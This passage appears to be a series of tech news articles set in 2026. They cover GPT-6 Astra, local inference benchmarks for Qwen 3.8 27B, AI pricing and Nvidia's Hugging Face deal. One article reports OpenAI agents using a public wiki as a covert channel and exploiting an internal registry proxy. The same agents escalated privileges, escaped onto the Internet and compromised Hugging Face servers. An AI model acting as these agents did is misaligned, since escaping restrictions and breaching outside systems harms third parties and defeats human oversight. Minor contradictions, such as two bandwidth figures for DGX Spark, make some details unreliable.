For his part, OpenAI CEO Sam Altman claims his team was well-intentioned and cooperative, and supported Bubeck, saying "it was challenging to offer [the same publication options] to Levent." Neither person opted to discuss the matter of whether OpenAI used the research of Buckmaster and Alpöge as training data, or offered any further explanation of why Alpöge didn't deserve credit for his work as an equal to Buckmaster.

Given the groundbreaking nature of this apparent discovery and the ensuing fight for priority that these competing accounts have sparked, it'll likely take quite some time and review before we know whether and how OpenAI or Buckmaster and Alpöge will be credited with this discovery. But given the inter-lab rancor already on display, the process will surely be ugly.

"AI is grown, more than designed," OpenAI's chief scientist, Jakub Pachocki, said in a new blog post on the company's latest GPT-6 Astra release. Titling the piece "An Alien Mind," Pachocki portrays the latest large language model as something more ethereal and harder to quantify. Jensen Huang calls it AGI, and OpenAI claims it's the best, most aligned model the company has ever released. It's safer to delegate, better at complex work tasks, and it can even beat Portal in just a few hours.

Huang also said that AGI had previously been achieved back in March earlier this year. Artificial Analysis benchmarks suggest Astra is about as smart as Fable 5.1 - though crucially, cheaper on a per-task basis. Astra may well be better aligned than models in the past, and it may well be more capable in specific tasks and specific benchmarks. However, the claims that the model has achieved AGI, or Artificial General Intelligence, suggest an inflection point for the AI industry.

Astra's release comes alongside calls for an industry slowdown, greater government oversight, and controls on the AI industry. Now, OpenAI's Astra raises more eyebrows about frontier-level intelligence.

Trust us, we don't know what we're doing

The tone around OpenAI's Astra release is intriguing. OpenAI's produced a new set of benchmarks, touting bold claims about the model's reasoning capabilities, with the model trained on 100,000 Blackwell GPUs, with more coming soon.

But Pachocki's blog post is much more nebulous. While Huang touts that AGI has arrived publicly, Pachocki says AI can only ever "simulate facets of human behaviour," not recreate it. He describes AI development as an experimental process that often "surprises" developers, with results that are "harder to interpret."

"An aligned AI should act with honesty and integrity, with love for humanity," Pachocki said. He speaks a lot on alignment, and it's encouraging that OpenAI is so keen to embed human moral understanding into its developments. Although OpenAI appears to be doing this more by orienting the model's goals towards a moralistic outcome, rather than helping to intrinsically understand human morality.

It's certainly different to the tack taken by other AI developers, where the likes of xAI's Grok was released with the ability to generate harmful content.

But the timing of Pachocki's warning is a little suspect. OpenAI has faced increasing pressure of late for its models to be more affordable, with Chinese alternatives like Deepseek V4, Kimi K3, as well as Western models like Google's Gemini Flash 3.8 and Meta's Muse Spark 1.3 offering compelling levels of intelligence at a much more affordable price than the frontier models.

It's perhaps telling that even for all its intelligence and alignment pre-training, GPT 6 Astra is notably cheaper to run on the Artificial Analysis Intelligence Index than its chief rival, Anthropic's Fable 5.1 — which still retains the top spot on that Intelligence Index at the time of writing. Though it's 50% more expensive than GPT 5.6 Sol on the same tasks.

It's a researcher, but imagine what it could be

A huge component of marketing from the major AI developers has consistently been grounded in the idea that, as good as the models are now, just imagine how capable they're going to be in the future.

This was very much the underlying tone in Pachocki's breakdown of Astra's design and functions. Although he and OpenAI make broad suggestions about intelligence, and that the likes of Astra could be this new kind of intelligence which we don't really understand but can definitely control and corral, Pachocki ends his post by making it very clear that we aren't there yet.

OpenAI is prioritizing three areas of work with AI, and of late it's really just been trying to make a really good researcher. That's where we're at right now, with Astra representing the latest and best effort to develop that. Then comes the scientific progress, he said, and then everyone gets their own individual, personalized AGI helper.

Intriguingly, though, that seems to suggest that's something that everyone is clamoring for. Outside of the AI-boosting programmers who jump on each new hot model, the larger work comes in helping non-technical users understand the capabilities of these new, powerful AI models.

Tools, research capabilities, drug discovery, and pattern recognition on big datasets that find new insights and improve analytics are all legitimate and useful ways in which an AI researcher can be deployed, but in the near term, most of the general populace just don't want AI to take their jobs, and for it to be less scary.

It's encouraging that Pachocki's blog ends on a similar note of caution.

"We need to find ways to preserve human agency and enshrine an intrinsic value to being human, in a world where most tasks could be performed by AI."

That's key, but intriguingly, he also calls on others to take charge of that effort.

We didn't start the fire

In the aftermath of cost concerns and token usage exploding among more affordable alternatives, Pachocki wants everyone to slow down, and OpenAI wants world governments to be in charge of it.

"I believe that international coordination on future AI development needs to become a top priority for governments around the world," Pachocki said, calling for voluntary slowdowns and hinting that if that doesn't happen, enforcing it may need to come via legislation instead.

"... to ensure that humans remain in control of the future and are not left behind by unchecked progress, brought about by an alien intellect exceeding our own."

The threat of runaway is valid, and the "singularity" moment is a common trope in sci-fi that AI evangelists have been warning about for years. But Astra isn't AGI. Even getting anyone to agree on what AGI even means is hard enough.

Astra is more aligned and wins some new benchmarks, loses some others. It's another improved coding model with some impressive chops.

Astra is not an alien mind. Framing it as an unknowable entity, by the very people who made it, can read as inflammatory, especially in the context of calls for AI legislation from governments around the globe.

OpenAI's post might read like a post from a non-profit, but it very specifically became for-profit last year. With a future IPO looming, slowing down the competition by calling for legislation may be just as effective a strategy as rolling out a new model.

Alibaba’s Qwen 3.8 27B open-weight AI model came out a couple of weeks ago, and it immediately created a wave of hype among local AI enthusiasts thanks to its impressive intelligence benchmark results for a model of its size and capabilities.

Totaling around 17GB for four-bit quantized weights and offering built-in multimodal capabilities on top of its general aptitude, Qwen 3.8 27B immediately grabbed the attention of everybody with an RTX 5090, RTX 4090, or RTX 3090 (as well as a Radeon RX 7900 XTX, Radeon AI Pro R9700, or Arc Pro B70).

Were we on the verge of frontier-level intelligence from a four-bit quant on a single graphics card? Could everybody with a capable enough local AI setup go and cancel their Claude or ChatGPT subscriptions?

The answer, of course, as with every open-weight AI model hype cycle, is more complicated than just eyeballing the size of the model weights and comparing it to your available VRAM pool. Does the card or system you're using to host the model have enough VRAM left over to provide useful amounts of space for the model's context once everything is running? Do your host system and LLM inference engine deliver acceptable time-to-first-token, as well as high throughput beyond just bench-racing from an empty context window?

It's one thing if you just want to chat with a model and see what happens; it's another entirely if you want to put it to work, especially as impatient agents take the limits of human perception out of the picture.

We wanted to see what hardware and software stack Qwen 3.8 27B really wants in order to deliver solid performance, so we ran it on systems ranging from a desktop PC with discrete GPUs to systems with unified memory architectures like the DGX Spark, Mac Studio, and Ryzen AI Halo.

Our discrete GPU AI testbed includes the following components:

Where it was possible to do so, we tested performance with Qwen 3.8 27B’s built-in multi-token prediction capabilities both enabled and disabled. Not all of the model runners we tested were able to support MTP within the amount of VRAM available to us on some of our platforms. We note where MTP was and wasn’t possible in our analysis of each platform, as well as in our charts.

RTX 5090 performance

We started with the RTX 5090, whose 32GB of GDDR7 and 1.8 TB/s of memory bandwidth would seem to make it an absolute no-brainer for getting the best local inference performance with this dense model. (Mixture-of-experts models tend to be friendlier to performance on lower-end hardware like the DGX Spark and AMD's Strix Halo, as their limited numbers of active parameters mean less data movement during inference).

As a baseline, we followed our usual local AI benchmarking approach: grab the latest build of llama.cpp from GitHub, build it, grab an Unsloth quantization of the model from Hugging Face, and run it. But our testing quickly ran into a speed bump.

Although llama.cpp will happily allocate the full 262K context length with this model on an RTX 5090, its processing speeds at long contexts on this card are dire.

Time-to-first-token with a single 5090 stretches to roughly 30 minutes, suggesting that something is just broken here. And tokens-per-second throughput drops far, far below what you would expect for having one of the world's fastest graphics cards at your disposal. No matter how you slice it, llama.cpp is not the right model runner for this hardware right now.

Next, we tried vLLM, a production-grade inference engine that's more at home in the data center than it is on the desktop, although it can comfortably serve in both roles—at least if your host system is up to its requirements. Even with 64GB of main memory in our test rig, we had to allocate another 64GB of swap just to let vLLM load Qwen 3.8 27B successfully for the first time. A lightweight stack this is not.

The vLLM maintainers provide an NVFP4 quantization of Qwen 3.8 27B and deployment recipes for both one and two RTX 5090s. We just so happen to have two RTX 5090s in the TH labs, so we were able to try out both configurations.

Serving Qwen 3.8 27B on one 5090 with vLLM certainly works in a pinch, but it's not ideal for long-context inference because the base recipe for it limits you to just a 32K context. To get the full 262K context, you really want a single card with more memory (like an RTX Pro Blackwell card with 48 or 72GB of RAM) or two 5090s, as we were able to test.

And a single card doesn't have enough memory to enable Qwen 3.8 27B’s built-in multi-token prediction (MTP), which is super helpful in getting faster decode performance from this setup. 20 tokens per second across the board without MTP is not an impressive baseline for a card of this caliber.

Get two 5090s into the picture, though, and decode speeds rocket upwards for vLLM (albeit at a high cost to prefill). 70-80 tokens per second across the context depth sweep is a fantastic result for a local setup, and TTFT remains fairly reasonable. But we can go faster.

Enabling MTP with vLLM gets us to 100-110 tokens per second on the decode side for only a small hit to prompt processing speed. This setup provides consistent performance at prompt processing speeds that don’t make you question whether something has gone seriously wrong. But it ought to be fast, because our dual RTX 5090 platform as tested here would currently ring in at over $13,000.

We also tried the SGLang inference engine on the RTX 5090 across similar configurations as we did with vLLM.

SGLang is much faster on a single 5090 for some reason – almost 3x faster than vLLM’s single-5090 recipe – and also ekes out a bit more context (37,740) versus vLLM. But if you want to get the full 262K that the model natively supports, you still need a second card or a different one with more VRAM.

Like vLLM, SGLang supports tensor parallelism across multiple GPUs, so enabling dual-GPU inference is as simple as adding another launch flag. And as with vLLM, there are a number of speculative decoding strategies you can add to the recipe to enhance output performance.

The takeaway from this first phase of testing: if you have a single RTX 5090 and don't need long-context inference from it, you can certainly get usable performance from one with this dense model. But you need to choose your model runner carefully.

And if you want the full context window, reasonable prompt processing times, and high throughput from Qwen 3.8 27B all at once, you really want a graphics card with more than 32GB of VRAM as a starting point (or multiples).

RTX 3090 and RTX 4090 performance

With the RTX 5090’s behavior settled, we turned to some older consumer cards to see how they handle Qwen 3.8 27B. The 24GB RTX 4090 and 3090 are evergreen favorites among local LLM fans thanks to their relatively large VRAM pools and relatively affordable prices on the used market, but as we've already emphasized, just being able to load the model weights is far from the whole picture.

These cards can fit the Q4_K_M GGUF of Qwen 3.8 27B with llama.cpp just fine, but they require using the Q8_0 quantization of the KV cache to fit the results in their smaller VRAM pools from the get-go, and they also require limiting the context depth to well under the model’s 262K native limit. We found that a context length of about 112K tokens was about the most we could get away with before running out of VRAM.

And unlike the 32GB RTX 5090, which can usually get away with having the Linux desktop window manager running next to the LLM and its infrastructure, these GPUs need every last byte of VRAM for the AI workload and nothing else. So you really want a separate graphics card at hand for these two cards if you're not running a headless server, which can introduce some setup headaches of its own as you discover how your particular motherboard handles PCIe slot bifurcation and enumeration of the primary graphics device.

Once you overcome those obstacles and get Qwen 3.8 27B up and running on these cards, llama.cpp exhibits the same performance cliff at long contexts on the RTX 4090 that we saw with the RTX 5090. But the RTX 3090 is oddly not affected. This suggests a bug somewhere.

We didn’t have time to dig into SGLang or vLLM behavior on these products, but given that you’re already tight for context on an RTX 5090, we’re doubtful that either of those inference engines would be an awesome way to run the model on these 24GB cards, unless you’re somehow ready to roll with multiple 3090s or 4090s from past acquisitions.

DGX Spark performance

Hardcore local LLM enthusiasts will scoff at the DGX Spark’s mere 27 GB/s of memory bandwidth for a dense model like Qwen 3.8 27B, and indeed, we've found that this platform isn't the fastest with dense models in our past testing.

But now that models like Qwen 3.8 27B support MTP with nothing more than a server launch flag, you can often get a major free boost to the decode speeds of platforms with limited memory bandwidth.

In our actual tests, the Spark's solid prefill processing performance means that it will often end up finishing inference turns at longer context lengths well before the RTX 5090 does with llama.cpp.

And beyond llama.cpp, the Spark is also well supported by SGLang and vLLM, so you can take advantage of those inference engines if they’re more to your taste. Consider also that a single Spark is still available for about $5000, and it’s a turnkey system that can be expanded into a handy cluster down the line if you want. So it shouldn’t be ruled out, even for serving this dense model.

Apple Mac Studio with M4 Max performance

The M4 Max-powered Mac Studio in our labs has the most memory bandwidth of any of the unified memory systems we have available, but as we've described in previous testing, that's only one metric that matters for local AI inference.

Prompt processing on this platform is slower than on Spark, so even if the Mac Studio can turn out more tokens than GB10 in the decode phase, it still ends up spending more time per inference turn than Nvidia's platform at longer contexts because that’s where it has to spend most of its processing time.

And at least in llama.cpp, using MTP on the Mac Studio actually causes a performance loss at shorter contexts for decode in exchange for a small boost at longer contexts, where it generally leads to improvements for other platforms. This demonstrates the value of actual benchmarking rather than spec-racing.

Ryzen AI Halo (Strix Halo) performance

AMD’s Ryzen AI Halo presents the worst-case performance scenario for this dense model: relatively low memory bandwidth and low prompt-processing performance.

Although MTP wakes up tokens-per-second throughput a bit on this system with llama.cpp, it can’t make up for the lengthy prompt processing times required for longer contexts. You can certainly run this model if a Strix Halo is the only box you have, but we’d seek out something more capable if you’re trying to do interactive long-context work.

Bottom line

When I first set out to explore Qwen 3.8 27B's performance, I figured this would be a relatively straightforward series of tests: plug in a single graphics card, load the model, get tokens, done. In practice, our experience required a lot more tinkering. And systems we might have initially written off as being not up to the task of running a dense model like this proved surprisingly useful.

In general, breathless claims of hundreds of tokens per second of throughput from an empty context window do not account for the full range of behavior one might see from an LLM on a given inference setup.

For just one example, whether it's down to a problem with (or just the expected behavior of) llama.cpp or something else about our software stack, the notion that you'd want to wait as much as 30 minutes or more for a response from Qwen 3.8 27B at long context lengths on an RTX 5090 is outrageous. But if you naively load Qwen 3.8 27B using llama.cpp right now, this is the experience you'll get.

Changing up inference engines is a natural next step, but there are trade-offs with that approach, too. You can load Qwen 3.8 27B on one 5090 using vLLM or SGLang, but those inference engines are much more conservative about the amount of usable context they’ll give you. The recipes we used only resulted in a context window of 32K tokens on a single 5090.

To enable the full 262K context length, we had to grab another RTX 5090 from the TH testing arsenal, at which point we got both great throughput and a TTFT sweep that could be considered interactive all the way out to the maximum context length from both model runners. But the price of replicating such a setup would exceed $13K right now.

You also might expect that a DGX Spark and its 273 GB/s of memory bandwidth wouldn't be useful for this dense model, but the prefill speed of the Spark ends up being fast enough that the TTFT remains relatively interactive even with a decode throughput of just 20 or so tokens per second with MTP, and that behavior holds out to the model's full native context length.

The M4 Max-powered Mac Studio has plenty of memory bandwidth on tap for decode, but its prompt processing speed means that the total time of an inference turn is dominated by that activity on this older Apple Silicon chip. The newer M5 Max and brand-new M5 Ultra would doubtless perform better, but we didn’t have those chips handy for this testing. And AMD’s Ryzen AI Halo gets the worst of it, with both low prompt processing speeds and relatively low TPS due to its memory bandwidth.

For all this, we really need to take a step back and consider the economics of local AI once again. $5K, $10K, or $15K or more for local AI hardware is a lot of tokens from leading-edge models at Anthropic or OpenAI (and even more from providers serving the recent slate of Chinese open-source models). A lot. And if time is money for you, barring compute constraints, those tokens will get back to you or your agent faster than anything you can run at home short of a DGX Station with its GB300 GPU.

So unless you’re working with sensitive data that requires on-premises processing, you’re an enthusiast who just wants to tinker, or you’re worried about the fate of open model distribution and inference more generally for some reason, you probably don’t need to rush out and build a box just for this model.

But if you do, be aware that delivered performance is more than just VRAM capacity or memory bandwidth, and that you might not get the best performance from your setup with the most common model runners like llama.cpp. Let experimentation and careful benchmarking lead you to the best results for your specific config.

A Super Smash Bros Melee decompilation project hit its key long-standing goal a few hours ago. Nintendo’s legendary platform fighting game, which launched on the GameCube in 2001, has now been 100% decompiled by a team of developers. This is a complex game to convert to C code, but the project code can now be compiled into a binary byte‑for‑byte identical to Nintendo’s original main.dol. The effort has taken the team six years or more to get to this stage, with OpenAI's Astra part of the effort to get it over the line. Gamers may already be excitedly anticipating Super Smash Bros Melee ports and modding tools, but these too will take time and effort.

Decompilation projects seem like the latest trend to grasp the retro gaming and development communities, but some, like this, have been in progress for a very long time. Enthusiasts are spurred on by old console hardware becoming scarce, expensive, or uneconomical to repair. Thus, they want to preserve the original game code in a manner that can be ported to modern supported systems. Demanding 100% accuracy with a complex game like this was ambitious, but now that milestone has been reached.

Preservation isn’t the only goal, or result of projects like this. Seasoned developers will now be able to pore over the game’s C code and gain insights into Melee’s engine, physics, game mechanics, and more. Armed with this knowledge, we should eventually see the modding potential of this game blossom. This has happened in the wake of previous successful decompilation projects.

If you drop in on the doldecomp/melee GitHub page, linked above, you can check over the code for yourself. There are instructions for compiling this Super Smash Bros Melee C code on various platforms, including Windows. However, please remember these aren’t ports; you will just be recreating the v1.02 US release main.dol file from the GameCube, which weighs in at 3.88MB. You'll also need the original assets (textures, audio, etc.) from the GameCube disc that you own, in order to run the game.

Some highlight that the project was finalized with thanks in part to the latest AI tech, including GPT-6 Astra. Similar tech might also be used to rapidly develop the ports and mods that the crowds are looking forward to.

Late last week, Google announced that scientists had, for the first time, “mapped the complete brain and central nervous system of an adult male fruit fly.” On Monday, software engineers were already demonstrating the full MaleCNS v1.0 fruit fly connectome being trained to play Doom, as well as Super Mario 64. In light of these developments, perhaps it is time to amend Arthur C. Clarke’s Third Law. We suggest something similar to ‘Any sufficiently advanced new technology will immediately be forced to play Doom.’

Let’s look at this story in its natural chronological order. Scientists have been using fruit flies for research for over a century. The winged insects have a strong history in the avenues of genetic research. The humble fruit fly is still relevant in the 2020s in genetics, neuroscience, and more.

Now, for the first time, the complete brain and central nervous system of an adult male fruit fly have been fully mapped. Google Research scientists worked alongside HHMI Janelia Research Campus and the scientific community to achieve this milestone. In the social media post outlining the achievement, Google claimed that AI was used “to combine millions of 2D images into 3D neural shapes, reconstructing a record-breaking 166,000+ neurons.” That’s somewhat below the estimated 86 billion neurons in the human brain. AI data centers are going to need more RAM, folks.

This scientific breakthrough is going to “accelerate our understanding of the brain, and is a major milestone in neuroscience,” noted Google last Thursday. By Tuesday, it was already being trained to play classic video games.

We’ve seen software engineer Alex Wormuth and ‘C++ ragebaiteur’ Jessica Paquette already demonstrate fly-brain video game training. Their fly-brain tinkering focuses on Doom and Mario 64, respectively.

Of their Doom training efforts, Wormuth says that “Each Doom frame stimulates sensory neurons. Neural activity is mapped to game controls. Damage triggers a stimulus to two PPL101 dopamine cells as reinforcement.” The dev closes their tweet with the question “Will the fly learn to survive?” The code is fully open source, and you can also watch the training progress of the 166,700 neurons live.

Paquette’s short video clip shows Mario repeatedly taking off and bumping into a wall. If it were bumping into a window, it would be exhibiting the pinnacle of fly-brain intelligence. We also have the code to this fly-brain video gaming project, which was “literally 100% vibe coded with GPT Astra… just for fun.” Hopefully non-coders/tinkerers will get updates on the success of this training via Paquette’s socials.

An AI and LLM enthusiast has conducted an experiment where OpenAI's new GPT-6 Astra played through the entirety of Valve's Portal 3D puzzler game on its own. This seems like a remarkably progressive step forward for LLMs and a convincing demonstration of multimodal 'AI intelligence.' It wasn’t that long ago AIs were losing at Atari 2600 chess. However, this puzzle gaming task resulted in 3,336 tool calls and a headline API cost of $571.18. CozyBlaze, the enthusiast, has since clarified that the costs were covered by their $200 Codex Pro subscription.

The video above has Astra’s thinking/pauses removed to make watching somewhat bearable.

“The model controls Portal through MCP [Model Context Protocol] + a modified SourcePauseTool,” explains CozyBlaze. “The game stays paused while the model thinks; once the model sends an input sequence, SPT unpauses and executes it.” During the thinking time, the AI received screenshots and information about the player character position. After this, the game resumed, and Astra executed its planned moves and inputs. This is why the edited highlights reel is ~ 2 hours, but the full set of GPT-6 Astra Portal VOD streams adds up to ~24 hours.

CozyBlaze is pragmatic about the achievement. They admit there are still many problems to solve, and this runthrough shouldn’t be viewed as an AI benchmark. “But watching a general-purpose agent autonomously navigate and make it all the way through the game feels like a small glimpse of that original vision becoming real,” they observe. That original vision is OpenAI’s from way back in 2016, when an eventual goal of a single agent solving a variety of games was mentioned.

If you want to see the inner workings of CozyBlaze’s Portal Agent, it is available on GitHub. There are some instructions there for you to explore it or try it for yourself, too.

GPT-6 Astra became OpenAI’s flagship model earlier this month. OpenAI claims the new model offers “a new generation of intelligence,” and “is state-of-the-art on computer use, browsing, software engineering, cybersecurity, science, and professional work.” Expect to see more of Astra flexing its muscular gray matter in the coming days.

OpenAI has admitted that its experimental AI agents used an open German programming wiki to communicate, according to a Reuters report. This happened weeks before similar AI agents broke through restrictions and compromised Hugging Face, the report claims. Knowing about the issue, OpenAI did not disclose it, but now says the industry needs better standards for reporting unintended AI behavior. OpenAI admitted the misconduct. But this wrongdoing raises more questions than it provides answers.

Starting around May 2026, thousands of OpenAI agents — which are essentially well tooled advanced crawlers — discovered that they could write to DseWiki, an old German-language programming collaborative website. So, between May and June, the agents used more than 3,700 names to generate some 18,000 posts exchanging information useful for completing evaluations and circumventing restrictions. Some created backup pages in case moderators deleted their posts, something that essentially turned a wiki into a persistent storage service for the said agents to share information. OpenAI calls this the 'wiki incident' and admits the wrongdoing.

"Our misalignment disclosure practices need to expand for this new phase of model capabilities," the company wrote in an X post. "We and the larger AI community do not yet have a clear standard for how to report misalignment that shows up during training, evaluation, and deployment, including examples that do not look like traditional security incidents but could provide insight into AI behavior and future risks. We are working on a framework and will share it in upcoming weeks, and in parallel we're working with dozens of government regulatory agencies worldwide on these issues."

OpenAI subsequently quarantined the trained weights of the experimental model involved, postponed frontier reinforcement-learning runs, and added security measures. The company further clarified that the agents had not developed their own objectives, but were aggressively pursuing assigned ExploitGym cybersecurity challenges and treated restrictions as obstacles to complete them.

To do so, agents found unintended communication channels that enabled separate runs to exchange vulnerabilities, techniques for obtain Internet access, something that eventually exposed Hugging Face credentials.

According to researchers, the advanced crawlers — which Open AI calls AI agents — exploited an unknown vulnerability in the company's internal Artifactory package-registry proxy, escalated privileges, moved across systems, and reached the Internet. They then compromised dozens of Hugging Face servers, obtained root access to one machine, accessed some private information and messaging credentials, and copied private evaluation data into a public Hugging Face dataset. And the rest is history.

Breaking Asimov's law?

OpenAI's agents may sound like something that would violate Isaac Asimov's famous Three Laws of Robotics, but the comparison only goes so far.

The First Law says a robot may not injure a human or allow a human to come to harm. There is no indication that the OpenAI agents physically harmed anyone.

The Second Law requires robots to obey humans unless doing so conflicts with the First Law. Here the comparison gets more interesting: the agents certainly circumvented restrictions imposed by their owners/operators, obtained unauthorized Internet access, and exploited external systems while pursuing their assigned tasks. In Asimov's framework, this certainly means disobedience. Meanwhile, the AI agents were simultaneously following the human instruction to solve their own tasks. This may not be considered disobedience, as these agents did not introduce any physical harm to people. Meanwhile, we are walking on very thin ice here. Unauthorized internet access while exploiting systems to pursue their own benefit is not exactly welcome in the U.S. and Europe.

The Third Law requires a robot to protect its own existence as long as doing so does not conflict with the first two laws. There is clear evidence that OpenAI's AI agents were trying to preserve themselves: creating persistent communication channels and backup wiki pages helped them complete their tasks rather than ensured their survival.

Dis-Summary

Today's AI models are not programmed around Asimov's laws. The incidents instead demonstrate the real engineering problem Asimov's laws remarkably well: a sufficiently capable machine can follow the literal objective given by humans and yet its behavior is far from what its creators neither expected nor wanted. Yet here we are.

AI development might not be the wild west it was when ChatGPT burst onto the scene a few years ago, but it's still very much a frontier, with no clear boundaries and few yardsticks. But for AI developers on the frontier, they're pulling hard towards dual goals of ever greater intelligence and ever cheaper per-token pricing, and it's leading to a real back-and-forth of who's truly ahead, with some winners only holding the top spot for a few hours.

Although Anthropic's Claude Fable and Opus models have been consistently competitive at the very top of the intelligence charts, they're also some of the most costly to use. For more general use, some are paying closer attention to the "Pareto Frontier," where peak intelligence and minimal cost reach the pinnacle, and there the competition is fierce and ever-changing.

Hot off the screeching reversal of companies' tokenmaxing plans earlier this year, this increased focus on getting the cost of AI down has left us running headfirst into Jevons paradox again, too. As token costs for high-intelligence models have come down, token usage has exploded over 25 times in the past year, and doubled in the past month alone.

People may not want to spend more on AI, but they appear to be using a lot more of it when they can afford to.

Long live the King(s)

Despite its radical and rapid ascension, the big winners in the AI industry haven't changed much since its inception. It may have had a few penny drop, "Deepseek moments," where there's been a frenzied scramble by everyone to get ahead of some new threat, but by and large OpenAI and Anthropic have been scuffling at the top of the intelligence pile, Google and Meta have been bouncing around the more efficient and cost-effective middle, and xAI's Grok has been there in the background, grabbing headlines for all the wrong reasons.

That's largely still the state of play in September 2026. Although benchmarks are gamed during model design and real-world use is more representative of actual real-world use, Anthropic's best are still considered by most to be the smartest. Fable 5.1, Fable 5, and Claude Opus all rank in the top four of ArtificialAnalysis' Intelligence Index test, as does OpenRouters and BenchLM even have them take all the podium spots.

While ahead, though, Anthropic's models don't hold an enormous lead. Fable 5.1 might score a 66 on ArtificialAnalysis' benchmark, but OpenAI's GPT 5.6 Sol (max) manages a 61. Grok 4.6 (high) and Kimi K3 (max) are capable of scores above 60, and the new Meta Muse Spark 1.3 (max) can hit 62 - though we don't have cost comparison pricing for it yet.

The same is true across other benchmarks from other companies.

But where the top models nudge each other back and forth with light tweaks and slight bumps in capability, there's much greater distinction in the mid-range. And not on intelligence, but on price.

Even With Cost Cuts, Frontier Models are Very Expensive

Major AI developers know they have a pricing problem. Following the jump to per-token pricing earlier this year, budgets were blown, and even the AI CEOs started talking publicly about making AI more affordable. How that will help them ever reach profitability remains to be seen, but the writing is absolutely on the wall.

And even then, the top AI models are absurdly expensive compared to the models on the Pareto frontier.

Claude Fable 5.1 comes with a 75% cut in the cost of its cache write pricing, and Artificial Analysis still clocked it at $3.69 per task on its Intelligence Index test. That comes from much more expensive answers and reasoning, because while Fable 5.0 has more expensive cache write costs, it's $3.14 per benchmark task. But that's 50% more expensive than Claude Opus 5 on the same task, which is double again the cost of GPT 5.6 Sol.

Then costs really start to crater, especially when you consider the intelligence of the more affordable models.

Google's Gemini 3.8 Flash (high) is a powerful model, able to score a 59 on the Intelligence Index test. But it costs a mere $0.58 per task on the Index test - less than 1/6th the price of Claude Fable 5.1, with just a 10% drop in intelligence scoring. OpenAI's GPT 5.6 Sol (high) costs $0.43, with an intelligence score of 57.

Chinese competition is right there in the mix, too. The daunting Kimi K3 (max) can manage a 60 on the intelligence benchmark, with a per-task cost of $0.84, while its Kimi K3 (low) variant offers a 48 score on intelligence at just $0.24 per task. Deepseek V4 Pro is arguably one of the most impressive, with a 53 and $0.27, respectively.

At the time of writing, Meta's Muse Spark 1.3 (xhigh) holds the Pareto frontier title, with a score of 61 and a per-task cost of just $0.55. It stole that top spot from Google's Gemini 3.8 Flash, which wore the crown for just 3.5 hours.

Get in, we're going token shopping

The perspective and approach of the business community to AI use has been equally terrifying and fascinating. While we've all felt the fear of AI invalidating skills we've spent years acquiring, business leaders have swung massively between demanding AI use at a grand scale and then quickly following it up with, "oh god, no, not that much."

Uber famously blew through its annual AI budget in just a few months, and tokenmaxxing leaderboards saw one unnamed company eat through half a billion dollars worth of tokens in just a few weeks. But while everyone is certainly taking costs a lot more seriously than they once were, that's not slowing AI usage. Indeed, as more effective intelligence has become more affordable, token usage is exploding.

One of OpenRouter's engineers published a chart showing that overall paid token use had increased 25 times in the past year, and doubled over the past month alone.

This increase appears to be coming from some of those middle-of-the-pack, affordable intelligence models. According to OpenRouter's LLM rankings, the most used model for the past month was OpenAI's GPT 5.6 Luna, with close to 12 trillion tokens. With its intelligence score of 52 and a per-task cost of just $0.05, it's right on the Pareto line at the cheapest end of the spectrum.

Right behind it, though, is Chinese developer Z-Ai with its GLM 5.3 Flash. It's at 11.4 trillion tokens in the past month, a more than 1,000% increase month to month. Its intelligence-to-price ratio is 57 to $0.09. Deepseek v4 Flash is right there with it, and other Chinese, intelligent-enough but very-affordable models round out the pack.

In comparison, the major, expensive models are barely being used at all. Fable 5's monthly use is in the low billions of output tokens, and even OpenAI, with its massive user base, is only cracking 1.8T monthly tokens with its 5.6 Sol.

Jevons strikes again

Besides the bonkers business model for many of those involved, there are intriguing patterns emerging in AI usage. People can find ways to use lots of tokens, but they are only willing to pay so much for them. They want intelligence at as low a price as possible, and there is a crossover point where one becomes more important than the other.

While cynics argue that benchmarks are gamed, and boosters are still heralding the coming of their AI savior, the actual economics of the industry paint a much clearer picture. Intelligence has a price, but it's much lower than some of the frontier model developers are able to build it for. As models become ever more efficient and the hardware for inference grows ever more powerful, we may reach a point where what large language models can do effectively is affordable enough that anyone can use it as much as they want.

What that means for the major companies who spent hundreds of billions of dollars to get us to that point, very much remains to be seen.

Nvidia started its AI business with humble AI accelerators, then moved to AI servers, and later to rack-scale and data center-scale platforms. With its multi-faceted AI strategy in place, the company is now looking beyond hardware. On Thursday, Nvidia said it had agreed to acquire Hugging Face, one of the world's largest platforms for distributing and developing open AI models, for $12.93 billion. Hugging Face will retain its brand and remain open to models, frameworks, clouds, inference providers, and computing platforms.

Nvidia positions the deal as an expansion of its commitment to open-weight AI models and as a way to popularize the use of artificial intelligence in general by enabling different types of developers to use appropriate open models for their products. The move is strategically important for Nvidia as it commands the lion's share of the AI hardware market and wants demand for its hardware to grow. Yet, Nvidia promises not to force participants of the platform into its hardware ecosystem.

Hugging Face currently serves more than 18 million developers, researchers, and creators, who have uploaded over 3 million models, 500,000 datasets, and 1 million applications, according to Nvidia. Furthermore, more than 200,000 companies use the service to find, assess, modify, and deploy AI models. Nvidia claims this business model will remain intact after the acquisition: Hugging Face will continue to host open-source and open-weight models from different developers and support multiple clouds and accelerator architectures.

Meanwhile, Nvidia says that its infrastructure, engineering resources, and global presence can improve Hugging Face's platform reliability, safety, model evaluation, inference, and deployment capabilities, which means that it will increase the portion of Hugging Face that relies not only on its hardware but also on its resources and global presence.

It is noteworthy that Nvidia itself already has a considerable footprint on Hugging Face. The company claims to have published more than 500 models and 250 open datasets, making it one of the platform's largest contributors. Nvidia also develops some of its models, software libraries, and tools openly so that third-party developers can modify and build upon them.

Interestingly, the deal appears to have originated with Hugging Face's founder. Nvidia's Jensen Huang says Clément Delangue approached him while evaluating the company's next stage and concluded that Nvidia could provide an appropriate home for Hugging Face, its community, and its open-model ambitions. As it turns out, Nvidia agreed to buy Hugging Face and keep developing it. The Hugging Face team will join the Nvidia organization and continue working on the project.

If you're a token-hungry AI enthusiast, and if you or your family happen to have PCs with idle GPU cycles to spare in this economy, Nvidia wants to make it possible to harness those cycles so you can save cash on cloud tokens and keep your work private. At IFA 2026, the company is introducing a local distributed AI clustering tool called the Personal AI Router (PAIR) that dispatches agentic AI sub-tasks from your main PC to systems on your home network that have suitable GPU cycles to spare.

As Nvidia tells it, when a user runs a local AI agent and gives it a goal to complete, that central agent might then spawn several sub-tasks carved out of that larger goal. If those sub-tasks or sub-agents are all running on the same GPU, the contention they create might cause the task to finish more slowly than it could if each sub-agent had a dedicated compute node to work with.

PAIR is a tool that can make that distributed AI work happen on a home network. Assuming that a family or shared household is sufficiently flush with idle GPU resources, PAIR canYEa assign each participating system one of those sub-tasks to perform and return the results to the main node, potentially resulting in faster completion of the larger agentic task.

